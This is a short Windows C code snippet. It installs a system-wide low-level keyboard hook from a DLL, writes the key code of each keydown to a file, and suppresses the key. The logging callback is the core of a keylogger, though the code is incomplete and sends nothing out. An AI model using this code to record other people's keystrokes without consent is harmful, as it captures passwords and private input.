@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Hooking low-level Keyboard @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ////////////////////////////////////////////////////////////////////// // The library def file would look something like the following block // LIBRARY LwHookLibEx EXPORTS HookKeyboardA @1 UnhookKeyboardA @2 SECTIONS .mydata READ WRITE SHARED // /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // At source level - declaration #pragma data_seg (".mydata") HHOOK g_hHookKbdLL = NULL; // hook handle #pragma data_seg () #pragma comment(linker, "/SECTION:.mydata,RWS") // tell linker: make it shared // /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // Hooking & Unhooking method g_hHookKbdLL = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, hInstance, 0); UnhookWindowsHookEx(g_hHookKbdLL); // //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// // Keyboard Proc LRESULT WINAPI KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) { KBDLLHOOKSTRUCT *pKbHookData = NULL; if ((HC_ACTION==nCode)) { if (wParam == WM_KEYDOWN) { pKbHookData = (KBDLLHOOKSTRUCT* )lParam; if (pKbHookData) fwrite(&pKbHookData->vkCode,1,1,pFile); return TRUE; // Stop processing any further !! } } // Pass control to the hook chain return ( CallNextHookEx( g_hHookKbdLL, nCode, wParam, lParam ) ); } // //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// // On App side (Daemon), following can be done (dynamic loading) // // First, load hook library hInstDLL = LoadLibrary("LwHookLibEx.dll"); // Get procedure addresses pfHookKeyboardFunc = (HookKeyboardFunc)GetProcAddress(hInstDLL, "HookKeyboardA"); pfUnhookKeyboardFunc = (UnhookKeyboardFunc)GetProcAddress(hInstDLL, "UnhookKeyboardA"); // Anytime after this, hook function may be called. Don't forget to call the unhook as well // //////////////////////////////////////////////////////////////////////////